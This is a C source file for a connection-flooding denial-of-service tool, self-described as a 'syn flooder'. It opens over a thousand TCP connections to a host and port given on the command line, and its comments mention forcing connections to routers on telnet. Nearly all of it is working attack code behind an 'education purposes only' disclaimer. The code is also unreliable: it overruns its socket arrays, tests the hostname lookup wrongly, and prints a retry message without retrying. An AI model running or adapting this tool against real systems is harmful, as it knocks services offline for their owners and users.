/* Fast and simple syn flooder,
* also known as swiss army wire for smothering :)
* This tool represents how to make simple DoS attack
* with simple coded code :)
*
* Use this tool for education purposes only!
*
* n: Muris Kurgas
* e: jorganwd [at] gmail [dot] com
* w: http://www.jorgan.users.cg.yu
* i: irc.freenode.net \ #remote-exploit \ j0rgan
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define mns 1030
/* You may have to change the maximum open sockets (mns) */
#define mnc 50
/* You may have to change this also:
* Maximum number of tries to connect,
* very useful if you want to force connecting,
* for example cisco router on telnet port,
* which allowes only few :)
*/
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Gimme: %s <host> <port>\n", argv[0]);
exit(-1);
}
int sock[mns];
int c;
int i;
c=0;
struct sockaddr_in dest[mns];
struct hostent *host;
if((host = gethostbyname(argv[1])) == -1) {
printf("Can't resolve %s! Misspelled address?\n", argv[1]);
exit(-1);
}
for(i = 0; i <= mns; i++) {
if((sock[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("What happen?! I can't create socket! \n");
exit(-1);
}
dest[i].sin_family = AF_INET;
dest[i].sin_port = htons(atoi(argv[2]));
dest[i].sin_addr = *((struct in_addr *)host->h_addr);
if(connect(sock[i], (struct sockaddr *)&dest[i], sizeof(struct sockaddr)) == -1) {
printf("I can't connect to %s on port %s! Are you connected? :)\n Trying again in one second! To stop press ctrl+c\n", argv[1], argv[2]);
c++;
if (c == mnc) {
printf("Tired of connecting, try again...\n"); exit (-1);
}
}
printf("Connected No: %d\n", i);
}
return(0);
}
/* EOF */